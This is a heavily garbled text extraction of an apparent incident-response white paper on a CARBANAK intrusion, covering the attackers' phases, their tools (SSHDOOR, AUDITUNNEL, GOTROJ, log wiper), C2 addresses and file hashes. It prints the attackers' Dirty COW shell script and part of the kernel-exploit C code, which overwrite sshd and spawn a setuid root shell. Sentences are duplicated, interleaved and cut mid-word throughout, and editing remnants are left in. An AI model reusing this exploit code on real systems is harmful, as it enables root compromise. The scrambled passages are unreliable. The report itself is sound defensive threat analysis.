11 of remote command execution conducted by the attackers, evidenced by the presence of an output from the User Activity Linux binary. This is illustrated in Figure 4. Delete Delete Delete Delete WHITE PAPER The!Shadows!of!Ghos Case!Study:!CARBANA Figure 4: 4: Metadata Showing Output, Actions andand PortPort Usage in IRC Traffic Figure Metadata Showing Output, Actions Usage in IRC Traffic While the attackers attempted to use the sudo administrative privilege While thebinary attackers attempted to use the sudo administrative privilege binary to gain root to gain root access, the privilege-separation user the web server access, the privilege-separation user the web server was running as did not have the necessary was running as did not have the necessary permission. In response to this, permission. In response to this, the attackers downloaded a copy of C source Proof of Concept thewritten attackers copy ofthe C source Proof ofCopy-on-Write Concept (PoC) Dirty code COW (PoC) code by downloaded KrE80r to aexploit Linux Kernel written KrE80r to exploit Linux Kernel Copy-on-Write Dirty COW vulnerability, CVE-2016-5195. Thisthe vulnerability since been resolved by the major Linux distributions, with list patched kernels found GitHub. same time, the attacke vulnerability, CVE-2016-5195. This vulnerability has since been resolved downloaded a Bash shell script as a driver for the exploit code, named 1.sh . This allowed the by the major Linux distributions, with the list of patched kernels found on attackers to gain13root privileges on the system at the 27-minute mark. The observed download At the same time, the attackers downloaded a Bash shell script as is shown GitHub. in Figure 5. a driver for the exploit code, named 1.sh . This allowed the attackers to gain The!Shadows!of!Gh root privileges on the system at the 27-minute mark. The observed download Case!Study:!CARBAN is shown in Figure 5. Common Vulnerabilities and Exposures ; https://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2016-5195 Benvenuto; Patched Kernel Versions https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions Page Figure Downloadof of CVE-2016-5195 Exploit Bash Script Driver Figure 5:5: Download ExploitCode Codeand Bash Script Driver Common Vulnerabilities and Exposures https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195 While the attackers Patched had root level access, they did not have user credentials to move Benvenuto; Kernel Versions laterally withinhttps://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions the environment. In order to gain that access, the attackers downloaded versi of the OpenSSH 5.3p1 client and server binaries that had been trojanized with malware know as SSHDOOR,14 and installed them onto host ALPHA. The SSHDOOR malware will beacon o WHITE PAPER While the attackers now had root level access, they did not have user credentials to move laterally within the environment. In order to gain that access, the attackers downloaded versions of the OpenSSH 5.3p1 client and server binaries that had been trojanized with malware known as SSHDOOR,14 and installed them onto host ALPHA. The SSHDOOR malware will beacon out to IP 185.61.148.96 every 10 minutes until a response is received. A secondary function of this malware was credential theft, by which SSHDOOR sends the username, password and source/destination host to the attackers. The attackers then disengage, leaving the malware to collect credentials until the next day. 3.1.3 Phase 3: D+1 through D+3 Lateral Movement, Secondary Ingress, Internal Reconnaissance, Credential Harvesting Upon gaining credentials via the SSHDOOR malware, attackers respond to the SSHDOOR beaconing and establish an SSH tunnel to IP 95.215.46.116 over TCP port 443. In reviewing the configuration and running processes on ALPHA, the attackers observed that the system was running winbind, the UNIX implementations of Microsoft RPC, Pluggable Authentication Modules (PAM) and the name service switch (NSS). This service allows for unified logins across UNIX systems and Microsoft Windows Active Directory (AD). Winbind is a component of samba, the Windows interoperability suite for Linux and UNIX, which stores information about Windows Active Directory in its configuration files. After observing this service running on the system, the attackers checked these configuration files for the DNS names of the Microsoft Windows Domain Controllers used by winbind to authenticate AD accounts. Upon conducting a DNS query for the domain name in the configuration file, the attackers gained the names and IP addresses of the two primary DNS servers (also Windows Domain Controllers) and the server listed in the configuration file. Subsequently, the attackers download a tool named WINEXE, a Linux binary that allows remote command execution on Windows systems. Linux.Sshdoor https://www.symantec.com/security_response/writeup.jsp?docid=2013-012808-1032-99 WHITE PAPER The!Shadows!of!G Case!Study:!CARB Figure 6: Download of Winexe via WGET to ALPHA Figure 6: Download of Winexe via WGET to ALPHA The attackers used credentials taken by the SSHDOOR malware to log in to The attackers used credentials taken by the SSHDOOR malware to log in to each of the of the Windows servers, running the qwinsta.exe and tasklist.exe binaries Windows servers,each running the qwinsta.exe and tasklist.exe binaries on each and then loggin on each and then logging out. out. 3.1.4 Phase 4: D+3 through D+25 Privilege Escalation,D+25 Internal Reconnaissance, Persistence, Entrenchment, 3.1.4! Phase 4: D+3 through Lateral Movement Privilege Escalation, Internal Reconnaissance, Persistence, Entrenchment, Lateral Movemen The attackers also observed that one of the Windows Domain-authenticated credentials stolen the of service for the client s authenticated The attackers also observed that the account Windows Domain-authenticated credentials stol was the service account forscans, the client authenticated scans, and was present i vulnerability and was present in the localvulnerability sudoers file. Having determined local sudoers file. determined the current level of access available to them, the theHaving current level of access available to them, the attackers decided to download attackers decidedadditional to download toolsa in order establish a static entry point into tools inadditional order to establish static entrytopoint into the environment environment ensuring they avoid detection. To accomplish this, the attackers downloa ensuring theycould could avoid detection. To accomplish this, the attackers the PSCAN TCP port scanner Advanced Wiper binaries and began identify downloaded the PSCAN TCP port scanner and the ALW Advanced Log Wiper systems and services accessible from ALPHA. binaries and began identifying systems and services accessible from ALPHA. WHITE PAPER The!Shadows!of!Ghos Case!Study:!CARBANA Figure Downloadof of ALW ALW and 95.215.46.116 Figure 7:7: Download andPSCAN PSCANfrom from 95.215.46.116 One of these Red Hatserver, Satellitewhich server,iswhich is the primary One of these systems was systems the Redwas Hatthe Satellite the primary enterprise update updateLinux server(RHEL) for Red deployments. Hat Enterprise Linux deployments. server for Red enterprise Hat Enterprise Given(RHEL) that the Satellite server require the ability to interact with other systems underthe root to user in order update software, th Given that theall Satellite server requires ability interact with to all other attackers chose this system their initial primary staging system. This system was designated systems under the root user in order to update software, the attackers system BRAVO. From BRAVO, the attackers traversed the Linux environment through stolen chose this system as their initial primary staging system. This system was credentials and SSH pre-shared keys and conducted internal reconnaissance on any Windows systemaccess. BRAVO.During From BRAVO, the attackers traversed the contained all systems withindesignated direct network this time, the attackers strictly environment stolennetwork credentials and SSH pre-shared andenvironment. malicious files,Linux secondary tools through and ingress communication to thekeys Linux conducted internaltested reconnaissance onvulnerability any Windows on systems direct Additionally, they consistently the Struts host within ALPHA to ensure the initi method of compromise was open, alert to any possible remediation of that system network access. Duringand thisto time, thethem attackers strictly contained all malicious files, secondary tools and ingress network communication to the Linux environment. Additionally, 3.1.5! Phase 5: D+25 through D+30they consistently tested the Struts vulnerability on host ALPHA to ensure the initial method of compromise was open, and to Disruption, Adaptive Action, Entrenchment, Lateral Movement, Persistence alert them to any possible remediation of that system. The discovery of the Struts vulnerability on host ALPHA, and its subsequent remediation, gave 3.1.5 Phase 5: D+25 through D+30 the attackers a moment of pause, and they migrated a copy of the SSHDOOR client and serve Disruption, Movement, to the centralized SyslogAdaptive server,Action, alongEntrenchment, with a copy Lateral of WINEXE, thePersistence ALW Log Wiper and their own SSH pre-shared key, which they installed seven at this point. The discovery of the Struts vulnerability on host ALPHA, and its systems subsequent They utilized the wiper Syslog server, designated system CHARLIE, in order to remediation, gave the attackers a moment of pause, and they migrated a copy remove any log traces of their activities to date at the centralized source and hinder any follow of the SSHDOOR client and server to the centralized Syslog server, along with a copy of WINEXE, the ALW Log Wiper and their own SSH pre-shared Page key, all of which they had installed on seven key systems at this point. They WHITE PAPER utilized the ALW log wiper on the Syslog server, designated !system CHARLIE, The!Shadows!of!G in order to remove any log traces of their activities to date at ! the centralized Case!Study:!CARB ! would use source and hinder any follow-on investigations. The attackers on investigations. system The attackers would system CHARLIE their primary Linux egress CHARLIE as their primary Linux egress point for the rest of for the rest of theincident, incident, though they ensure wouldthat ensure that the binaries SSHDOOR binaries remaine though they would the SSHDOOR remained BRAVO as a backup ingress mechanism. Additionally, they downloaded on BRAVO as a backup ingress mechanism. Additionally, they downloadedAUDITUNNEL Reverse Tunnelingthe tool to host CHARLIE and began this as and their primary AUDITUNNEL Reverse Tunneling tool tousing host CHARLIE began using method of ingress to the Linux This was assumedly done to transition thisenvironment. as their primary method of ingress to the Linux environment. This to wasa new ingress method should any investigation around the remediation of ALPHA identify the SSHDOOR assumedly done to transition to a new ingress method should any investigation malware. around the remediation of ALPHA identify the SSHDOOR malware. Figure 8: AUDITUNNELDownload Download from 95.215.46.116 Figure 8: AUDITUNNEL from 95.215.46.116 To ensure they could retain they replaced SSHDOOR To ensure they could retain access, theyaccess, replaced SSHDOOR with with AUDITUNNEL on four o four of the key systems. They any significant until D+29, at wh key systems. TheyAUDITUNNEL ceased anyonsignificant operation into ceased the environment operation into environment until D+29, atmethods which timewere both the time both the SSHDOOR andthe AUDITUNNEL ingress stillSSHDOOR operational. On D+ the attackers migrate into the Windows server were environment proper to find and AUDITUNNEL ingress methods still operational. On D+30, thean appropriate staging system toattackers install malware staging ingress within Windows environme migrate into the begin Windows server environment proper to find After three failed attempts, attackers find Windows Domain Controller with appropriate staging system to install malware and begin staging ingress within Internet access, designated DELTA. thesystem Windows environment. After three failed attempts, the attackers find a Windows Domain Controller with Internet access, designated system DELTA. 3.1.6! Phase 6: D+30 through D+44 3.1.6 Phase 6: D+30 through D+44 Movement, Entrenchment, Persistence, Entrenchment, Internal Reconnaissance, Credential Harves Lateral Movement,Lateral Persistence, Internal Reconnaissance, Credential Harvesting Once firmly on DELTA, the on attackers downloaded and installed the GOTROJ Once firmly DELTA, the attackers downloaded and installed the GOTROJmalware as th primary method ofmalware ingress into Windows environment. this point, they have secured as their primary method of ingress into the Windows environment. methods of ingress into the environment across three different ingress methods. In order t At this point, they have secured nine methods of ingress into the environment ensure ingress via the GOTROJ channel, the actors execute the malware into memory on t across three different ingress methods. In order to ensure ingress via the additional systems, putting the system ingress count at twelve systems. Once the malware GOTROJ channel, the actors execute the malware into memory on three persistent and tested on DELTA, the attackers download a Windows version of WGET and additional tool systems, putting the system ingress counttraversing at twelve systems. Once TINYP lateral movement to system DELTA and begin the Windows environ malware persistent tested DELTA, attackers download As they move through the environment, they download a secondary versiona of TINYP, a h Windows of WGET and thelisting TINYP lateral movement toola to system version of reconnaissance tool calledversion INFOS, a process tool called CCS, custom DELTA begin traversing Windows environment. they move through MIMIKATZ, a Windows version of the previously mentioned PSCAN scanner, and the PuTT Secure Copy tool called PSCP. WHITE PAPER the environment, they download a secondary version of TINYP, a host reconnaissance tool called INFOS, a process listing tool called CCS, a custom version of MIMIKATZ, a Windows version of the previously mentioned PSCAN The!Shadows!of!Ghosts! Case!Study:!CARBANAK! scanner, and the PuTTY Secure Copy tool called PSCP. Figure 9: Windows Toolset Download ofTINYP, WGET,INFOS, TINYP,CCS, INFOS, CCS, MIMIKATZ, Figure 9: Windows Toolset Download of WGET, MIMIKATZ, PSCP and PSCAN PSCP and PSCAN During this time, it becomes quickly apparent that the attackers are targeting critical financial data, based on commands, string searches and lateral movement decisions conducted by the During time, ituntil becomes quicklyat apparent that the attackers are targeting attackers. Thisthis continues D+43/D+44, which time a coordinated expulsion event took place and post-remediation activities began. critical financial data, based on commands, string searches and lateral movement decisions conducted by the attackers. This continues until D+43/ D+44, at which time a coordinated expulsion event took place and postThe client contactedactivities RSA IR when system administrators observed anomalies associated with the remediation began. 3.2! Detection and Response root user on system ALPHA during remediation. These anomalies were brought to the attention of client security personnel. The CVE-2017-5638 vulnerability present on system ALPHA was 3.2 25 DETECTION identified days (D+25) afterRESPONSE the initial compromise when hundreds of thousands of successful vulnerability scanning and exploit sessions against the system wereobserved observed. anomalies The vulnerability The client contacted RSA IR when system administrators was determined to have been introduced by an out-of-band source installation of an affected associated thewhich root user on system during remediation. version of Apache with Struts, been installedALPHA by the web developers. While These organization had taken the necessary to remediate patch all systems reported anomalies were brought to thesteps attention of client security personnel. vulnerable to CVE-2017-5638, the vulnerable web page on system ALPHA was not detected CVE-2017-5638 vulnerability present on system ALPHA was identified 25 due to the web server and operating system reporting that the affected package was not daysBased (D+25) after the initial compromise whenexploit hundreds of thousands of from the installed. on the extensive number of successful attempts that ranged returnsuccessful of a pre-defined character string successful downloading execution vulnerability scanning and exploit sessions against the systemmalicious were code, system ALPHA was removed from service, a forensic image was obtained for in-depth observed. vulnerability determined have been introduced analysis and the system was restored and remediated. The forensic image was made available to RSA IR upon engagement services, with IR beginning threat huntingStruts, actionswhich and followout-of-band sourceofinstallation of an affected version of Apache on investigations on D+35. had been installed by the web developers. While the organization had taken Duringthe threat huntingsteps operations conducted in patch concertallwith client reported analysts, RSA IR identified necessary to remediate systems vulnerable increasingly suspect outbound binary and administrative network communication being CVE-2017-5638, the vulnerable web page on system ALPHA was not detected Page 17 due to the web server and operating system reporting that the affected package was not installed. Based on the extensive number of successful exploit attempts that ranged from the return of a pre-defined character string to successful downloading and execution of malicious code, system ALPHA was removed from service, a forensic image was obtained for in-depth analysis and the system was restored and remediated. The forensic image was made WHITE PAPER available to RSA IR upon engagement of services, with RSA IR beginning threat hunting actions and follow-on investigations on D+35. During threat hunting operations conducted in concert with client analysts, RSA IR identified increasingly suspect outbound binary and administrative network communication being conducted with external hosts. ! internet The!Shadows!of!Ghosts! Case!Study:!CARBANAK! Specifically, RSA IR observed the GOTROJ traffic communicating outbound to IP 107.181.246.146, and client observed the PSEXESVC.exe conducted with external internet hosts. analysts Specifically, RSA IR observed the GOTROJservice traffic communicating outbound 107.181.246.146, client analysts observed The!Shadows!of!Ghosts! binary present and executing on system DELTA. Both! of these initial the findings PSEXESVC.exe service binary present and executing on system Both of these initial ! DELTA. Case!Study:!CARBANAK! are are shown in Figure 1010and findings shown in Figure andFigure Figure 11, 11, respectively. respectively. conducted with external internet hosts. Specifically, RSA IR observed the GOTROJ traffic communicating outbound to IP 107.181.246.146, and client analysts observed the PSEXESVC.exe service binary present and executing on system DELTA. Both of these initial findings are shown in Figure 10 and Figure 11, respectively. Delet Delet Delet Deleted: Intern Deleted: Comm Deleted: Comment [A32 FigureFigure 10: Initial Finding of GOTROJ Communications with Suspect Meta 10: Initial Finding of GOTROJ Communications with Suspect Meta Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta CommentComm [A33 Figure 11: Initial Finding Lateral Movement Figure 11: Initial Findingof of TINYP TINYP Lateral Movement Figure 11: Initial Finding of TINYP Lateral Movement Correlation of these suspect security events was declared an incident on D+35, with RSA IR Correlation of these suspect security events wasAtdeclared being immediately engaged for incident response services. this point inan theincident intrusion, on Correlation of these suspect was declared incident on D+35, with RSA IR attackers had just enteredsecurity Stage 5,events as described in Sectionan 3.1.5. D+35, with being immediately engaged incident response services. being immediately engaged for incident response services. At this point in the intrusion, the Logs and Packets for network visibility, RSA IR identified attackers just NetWitness entered Stage 5, as described in Section 3.1.5. AtUtilizing this point in the intrusion, attackers just entered Stageall 5,network communication channels utilized by the attackers for the duration of the incident. This assisted described in Section 3.1.5. Page 18 Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR identified all network communication channels utilized by the attackers for the duration of the incident. This assisted Deleted: Incide Deleted: Respo Deleted: Deleted: Page 18 Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR identified all network communication channels utilized by the attackers for the duration of the incident. This assisted greatly in conducting root cause analysis and intrusion scoping, as a significant amount of host forensic artifacts had been destroyed, bypassed or made unusable by the attackers. Delet Delet Delet Delet WHITE PAPER Additionally, the use of this level of visibility allowed RSA IR to conduct network protocol analysis on the command and control (C2) communication payloads, which led to the capability to decrypt attacker C2 communications within minutes of their occurrence. This level of visibility into attacker activity greatly assisted in containment, eradication and remediation efforts, which concluded on D+44. Upon conclusion of the incident, RSA IR determined that the attackers had accessed 154 systems, the majority of which were accessed laterally via ingress channels established on systems ALPHA, BRAVO, CHARLIE and DELTA. Follow-on analysis of acquired host, network and disk forensic data occurred in parallel with continuous monitoring and Threat Hunting operations until incident closure on D+74. Utilizing RSA NetWitness Endpoint for host visibility, RSA IR was able to observe and track specific behavioral indicators of compromise (IOCs) identifying attacker activity within the environment. As the attackers were particularly careful to remove all traces of their activity upon completion and ensure their tools were on disk while in use, many traditional artifacts or log-based incident response and forensics methodologies would have been ineffective in identifying, investigating and responding to these attackers methods. However, utilizing RSA NetWitness Endpoint in concert with RSA NetWitness Logs and Packets allowed RSA IR to use the attackers methods as IOCs, such as specific file download methods with subsequent deletions, specific command-line arguments used by the attackers for lateral movement, and specific Windows user status command executions. WHITE PAPER 4. INTRUSION DETAILS 4.1 INITIAL COMPROMISE: APACHE STRUTS2 In late March of 2017, in the midst of several hundred thousand external vulnerability scanning attempts, an attacker using the IP address of 185.117.88.97 executed an HTTP request against system ALPHA and exploited the Apache Struts Content-Type remote command execution vulnerability, CVE-2017-5638, in order to download and execute a Perl script named from the IP address 95.215.45.116. Due to retention at the time of analysis, neither the Perl script nor the complete command used to initiate the download was obtained. Actions during this time were observed by network metadata creation. Almost six minutes later, system ALPHA began communicating with IP address 95.216.45.116 via IRC over TCP port 80. This was the initial method of direct system communication utilized by the actors, in which they began immediate attempts to escalate privilege to the root user. 4.2 LINUX COMPROMISE AND MALICIOUS FILES 4.2.1 Dirty COW Driver Script and Kre80r Proof of Concept Code Since the privilege-separation account for the web application server was not sufficient for follow-on actions, the attackers downloaded a shell script named 1.sh that exploited the Dirty COW Linux Kernel Privilege Escalation vulnerability, CVE-2016-5165, from IP address 185.61.148.145. The other downloaded file was a modified version of the PTRACE_POKEDATA variant of CVE-2016-5195 POC code written by GitHub user KrE80r. . The contents of both files are shown in Figure 12 and Figure 13, with the detection of this activity shown in RSA NetWitness Suite in Figure 14. #!/bin/bash /bin/cp /bin/bash /tmp/sbash /bin/chmod 4755 /tmp/sbash chmod +x /tmp/x ./cow & echo trying... sleep 2 while true echo > /dev/tcp/0/22 if [ -f /tmp/sbash then killall -9 cow rm -f /tmp/x cow cow.c /tmp/sbash -p -c rm -f /usr/sbin/sshd; cp /tmp/sshd.bak /usr/sbin/ sshd;chown 0:0 /usr/sbin/sshd;chmod +x /usr/sbin/sshd;id WHITE PAPER /tmp/sbash -p exit else echo trying... killall -9 cow ./cow & sleep 0.2 done Figure 12: Contents of 1.sh Dirty COW Shell Script #include #include #include #include #include #include #include int f; void *map; pid_t pid; pthread_t pth; struct stat st; char suid_binary[] = /usr/sbin/sshd unsigned char shell_code[] = #!/tmp/x\n unsigned int sc_len = 9; void *madviseThread(void *arg) { int i,c=0; for(i=0;i<200000;i++) c+=madvise(map,100,MADV_DONTNEED); int main(int argc,char *argv[]){ f=open(suid_binary,O_RDONLY); fstat(f,&st); map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0); pid=fork(); if(pid){ waitpid(pid,NULL,0); int i,o,c=0,l=sc_len; for(i=0;i<100000;i++) for(o=0;o ThisIsYourPassword:root@192.168.163.185 Figure 17: Credential Harvesting HTTP Request Additionally, both versions of SSHDOOR allow unauthorized access when authenticated with the decrypted SSH pre-shared key. These trojanized binaries allowed the attackers to gain additional credentials that would assist them in moving laterally into the internal server environment. The authorized_hosts entry the attackers utilized with the SSHDOOR binary is shown in Figure 18. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAkqHYDX7rAoj6DNKLe4e 7a7XFrbMRErtd6y/shqDaxSMMlXAfK6P2OQE9FmPPLDWjgkDgSyOvC0g TyghdGYdgKMV4DnhFiMMt4atOWwI86w71q9SEVGKKGVWLhIaCn GpWkWQmGGGnCOHbLezhLTnv98wscNdZLVafTOM/HqWkRcpr2XTO Phag/6FsXQsMKnJOZqloG5MWwdaYyIXBYEGRCA103MPmimW2jq Y91JxQ+7xEeD4XB1s9gNakHuQsDNNYY63kfiG8UAbOGQq 88mpsB32Ofjz6qdAgYPzBZzCoMnvhtDSTyKPYjoeDEHXMWZU /3PZbjuejbM8v5F9FiH4p centos-repo.org Figure 18: Pre-Shared SSH Key Used by SSHDOOR The file information for the SSHDOOR client and server binaries with the C2 address of centos-repo.org are shown in Table 1 and Table 2, respectively. File Name : ssh File Size : 1,180,393 bytes : 0810d239169a13fc0e2e53fc72d2e5f0 SHA1 : 60a0c1042644cdc8189af1917cb14278f64f17e8 Table 1: File Information for the SSHDOOR Client Binary (centos-repo.org) File Name : sshd File Size : 1,614,981 bytes : d66e31794836dfd2c344d0be435c6d12 SHA1 : a065244522b6b26c033dfbc3383b93dba776c37d Table 2: File Information for the SSHDOOR Server Binary (centos-repo.org) WHITE PAPER The file information for the SSHDOOR client and server binaries with the C2 address of slpar.org are shown in Table 3 and Table 4, respectively. File Name : ssh File Size : 1,180,521 bytes : a365fd9076af4d841c84accd58287801 SHA1 : ba2f90f85cada4be24d925cbff0c2efea6e7f3a8 Table 3: File Information for SSHDOOR Client Binary (slpar.org) SHA1 File Name : sshd File Size : 1,614,437 bytes The!Shadows!of!Ghosts! Case!Study:!CARBANAK! : 9e2e4df27698615df92822646dc9e16b! :: 96e56c39f38b4ef5ac4196ca12742127f286c6fa a365fd9076af4d841c84accd58287801 SHA1 : ba2f90f85cada4be24d925cbff0c2efea6e7f3a8 Table 4:3:File Server Binary (slpar.org) Table FileInformation Information for for SSHDOOR SSHDOOR Client Binary (slpar.org) File Name : sshd 4.2.3 AudiTunnel File Size : 1,614,437 bytes The AUDITUNNEL binary is a reverse tunneling tool similar in functionality to : 9e2e4df27698615df92822646dc9e16b SHA1 netcat, but with : 96e56c39f38b4ef5ac4196ca12742127f286c6fa support for multiple tunnels, Socks5 proxy and XOR encoded communication. It was downloaded, withServer the SSHDOOR binaries from Table 4: File Information for along SSHDOOR Binary (slpar.org) 95.215.46.116, under the name auditd. Upon execution, it creates a TCP socket 4.2.3! AudiTunnel and connects to C2 IP address 95.215.46.116 over TCP/443, creating a reverse The AUDITUNNEL binary is a reverse tunneling tool similar in functionality to netcat, but with to allow accessSocks5 to theproxy victimand server. the connection was made, support tunnel for multiple tunnels, XOROnce encoded communication. It was downloaded, along withwould the SSHDOOR binaries from 95.215.46.116, under the name auditd. AUDITUNNEL keep the connection alive to allow inbound or outbound Upon execution, it creates a TCP socket and connects to C2 IP address 95.215.46.116 over connectivity through this tunnel. In order to better hide its network activity, TCP/443, creating a reverse tunnel to allow access to the victim server. Once the connection was this utility would all data passed through theallow tunnel with aor of 0x41.connectivity made, AUDITUNNEL would keep the connection alive to inbound outbound throughThis this binary tunnel.isInalso order toto better hide its network this utility would XOR all data able communicate via the activity, Socks5 protocol using Basic passed through the tunnel with a key of 0x41. This binary is also able to communicate via the authentication. These three binariesThese proved to be the attackers primary Socks5 protocol using Basic authentication. three binaries proved to be the method attackers primary of method ingress and credential harvesting for the halfincident. of the incident. An example ingressofand credential harvesting for the first halffirst of the An example of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19. of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19. Figure 19: XOR 0x41 Traffic for AudiTunnel Page 25 WHITE PAPER After the attackers observed little change to their malware C2 channels once system ALPHA was remediated, the attackers quickly moved to system CHARLIE, the Linux Syslog server. This allowed them a communication channel to all other systems within the Linux environment, as well as allowing the attackers to control both centralized and local log entries across all Linux systems accessed. At this time, the attackers moved the majority of their toolset to CHARLIE, leaving only the SSHDOOR server binary on system ALPHA for further credential harvesting. The Syslog server would remain one of their primary staging points throughout the rest of the incident. The file information for AUDITUNNEL is shown in Table 5. File Name : auditd File Size : 21,616 bytes : b57dc2bc16dfdb3de55923aef9a98401 SHA1 : 1d3501b30183ba213fb4c22a00d89db6fd50cc34 Table 5: File Information for AUDITUNNEL 4.3 LINUX SECONDARY ATTACKER TOOLS The attackers downloaded additional tools from IP address 95.215.46.116 for the purposes of conducting internal reconnaissance and moving laterally between the Linux and Windows environments. These tools included the WINEXE version 1.1 remote command execution utility, a version of the ALW Advanced Log Wiper posted by security40bscurity at 0xbscured.net posted to Pastebin on July 7, 2015, and SecPoint s PSCAN multithreaded IP port scanner. With these tools, the attackers traversed the internal network beginning with the shortest hop points first and migrating outward. Example executions of each of these tools are shown in Figure 20 through Figure 23. 4.3.1 Winexe WINEXE is the Windows Remote Command Execution tool for Linux. Its functionality is very similar to that of SysInternals PSEXEC, including the creation of a Windows service and file transfer of a service binary into the ADMIN$ Windows SMB shared location (C:\Windows). As is described in Figure 20, the command line options are very similar to that of PSEXEC as well. WHITE PAPER The!Shadows!of!Ghosts! Case!Study:!CARBANAK! Figure 20: Usage Message for WINEXE Binary Figure 20: Usage Message for WINEXE Binary The file information for is WINEXE is shown in Table 6. The file information for WINEXE shown in Table 6. File NameFile Name: :winexe winexe File Size : 8,126,714 bytes File Size : :edce844a219c7534e6a1e7c77c3cb020 8,126,714 bytes SHA1 : :286bf53934aa33ddf220d61c394af79221a152f1 edce844a219c7534e6a1e7c77c3cb020 SHA1 : 286bf53934aa33ddf220d61c394af79221a152f1 Table 6: File Information for WINEXE 4.3.2 ALW (Advanced Log Wiper, The ALW Advanced Log Wiper was initially downloaded to system BRAVO early in the intrusion as a method of removing specific indications of attacker activities from Linux host logs. ALW was originally written by security40bscurity and posted to Pastebin on July 7, 2015. This binary takes Page 27 WHITE PAPER The!Shadows!of!Ghosts! Case!Study:!CARBANAK! Table 6: File Information for WINEXE 4.3.2! ALW (Advanced Log Wiper, four arguments: theWiper userwas to remove from the to target logs, the early host in tothe remove Advanced Log initially downloaded system BRAVO intrusion as a method of removing specific indications of attacker activities from Linux host logs. ALW from the target logs, a specific terminal TTY value to remove from the target was originally written by security40bscurity and posted to Pastebin on July 7, 2015. This binary takes the userlog to remove from the target logs, the host to remove from logs,four or arguments: a specific target file to remove. The usage message for this binary target logs, a specific terminal TTY value to remove from the target logs, or a specific target log is to shown in The Figure file remove. usage message for this binary is shown in Figure 21. Figure 21: Usage Message for l Advanced Log Wiper Deleted: Deleted: Deleted: Figure 21: Usage Message for l Advanced Log Wiper Comment deleted? I Figures. If no file argument is given, ALW will remove all log entries with the specified Logs Modified by ALW user, host or TTY from the following logs: Deleted: , If no file argument is given, ALW will remove all log entries with the specified user, host or TTY from the following logs: Formatted utmp wtmp Logslast Modified by ALW /var/log/secure utmp/var/log/auth.log /var/log/messages wtmp /var/log/audit/audit.log last /var/log/httpd-access.log /var/log/httpd-error.log /var/log/xferlog /var/log/secure Table 7: Logs Modified by ALW Log Wiper /var/log/auth.log The file information for ALW is shown in Table 8. /var/log/messages File Name File Size SHA1 Formatted : l /var/log/audit/audit.log : 16,333 bytes : 771fa63231fb42ee97aa17818a53f432 /var/log/httpd-access.log : 149a9270d9160120229b7c088975c2754e3b5333 /var/log/httpd-error.log Table 8: File Information for ALW 4.3.3! PSCAN /var/log/xferlog The PSCAN binary found Table on host is a TCP port scanning tool that attempts to create 7:BRAVO Logs Modified by ALW Log Wiper TCP socket connections to a specified port for every IP within a specified range. This functionality allows the attacker to check if specific commonly used ports are open for communication in The file information for ALW is shown in Table 8. Page 28 File Name : l File Size : 16,333 bytes : 771fa63231fb42ee97aa17818a53f432 SHA1 : 149a9270d9160120229b7c088975c2754e3b5333 Table 8: File Information for ALW 4.3.3 PSCAN The PSCAN binary found on host BRAVO is a TCP port scanning tool that attempts to create TCP socket connections to a specified port for every IP within a specified range. This functionality allows the attacker to check if specific commonly used ports are open for communication in systems within an IP range, thereby identifying available services for internal reconnaissance. The usage message for PSCAN is shown in Figure 22. Deleted: WHITE PAPER The!Shadows!of!Gh Case!Study:!CARBA systems within an IP range, thereby identifying available services for internal reconnaissance The usage message for PSCAN is shown in Figure 22. The!Shadows!of!Ghosts! Case!Study:!CARBANAK! systems within an IP range, thereby identifying available services for internal reconnaissance. The usage message for PSCAN is shown in Figure 22. Figure Usage Message for for PSCAN ToolTool Figure 22:22: Usage Message PSCANPort PortScanning Scanning Figure 22: Usage Message for PSCAN Port Scanning Tool example execution PSCAN shown in23, Figure 23, information with theinformation file An example of PSCAN is shown Figure 23, withwith the filethe for this binary for this bina An example execution ofexecution PSCAN isofshown inisinFigure file shown in Table for 9. this binary shown in Table 9. information shown in Table 9. Figure 23: Example Usage of PSCAN Port Scanning Tool File Name File Size File Name SHA1 Figure 23: Example Usage of PSCAN Port Scanning Tool : pscan : 10,340 bytes : pscan : 0f1c4a2a795fb58bd3c5724af6f1f71a : 039f814cdd4ac6f675c908067d5be1d6f9acc31f File SizeFigure : 10,340 bytes 23: Example Usage of PSCAN Port Scanning Tool Table 9: File Information for PSCAN : 0f1c4a2a795fb58bd3c5724af6f1f71a File Name : pscan Their decisions which systems to access indicated that their next intended action was to gain SHA1 :in039f814cdd4ac6f675c908067d5be1d6f9acc31f access:to 10,340 the Windowsbytes Server environment. The attackers continued to conduct internal Deleted: File Size reconnaissance within both the Linux and Windows environments using stolen credentials to 0f1c4a2a795fb58bd3c5724af6f1f71a Table Information PSCAN access:Linux systems via SSH and 9: theFile WINEXE utility tofor access Windows systems. The actionsDeleted: SHA1 : 039f814cdd4ac6f675c908067d5be1d6f9acc31f on-objective during this time was composed of mapping the internal network with the PSCAN utility and collecting host information via resident Linux and Windows administrative commandTheir decisions in which systems to access indicated that their next intended line utilities. Table 9: File Information for PSCAN action was to gain access to the Windows Server environment. The attackers continued conduct internal reconnaissance within both theintended Linux and action was to ga Their decisions in which systems to access indicated that their next WindowsServer environments using stolen credentials to continued access Linuxto systems via internal access to the Windows environment. attackers conduct WINEXE utility access Windows systems. actions-onreconnaissance within both the Linux and Windows environments using stolen credentials to Page 29 objective composed of mapping the internal network access Linux systems viaduring SSH this andtime thewas WINEXE utility to access Windows systems. The actio on-objective during thisPSCAN time was of mapping the internal network with the PSCAN with the utilitycomposed and collecting host information via resident Linux and utility and collecting hostadministrative informationcommand-line via residentutilities. Linux and Windows administrative comman Windows line utilities. 4.4 WINDOWS COMPROMISE AND MALICIOUS FILES 4.4.1 GOTROJ Remote Access Trojan On D+30, the attackers installed a Windows Trojan, written in Go, as a Windows Service on one of the two primary Active Directory Domain Controllers. They would move to utilizing the GOTROJ as their primary method of ingress for the duration of the engagement. The GOTROJ Trojan communicated with C2 IP address 107.181.246.146 over TCP/443 for its remote access channel. This Trojan was much more fully featured than the WHITE PAPER previous tools utilized by the attackers to this point, with eight primary functions designated by a command issued by the attackers. The commands and their functionality are 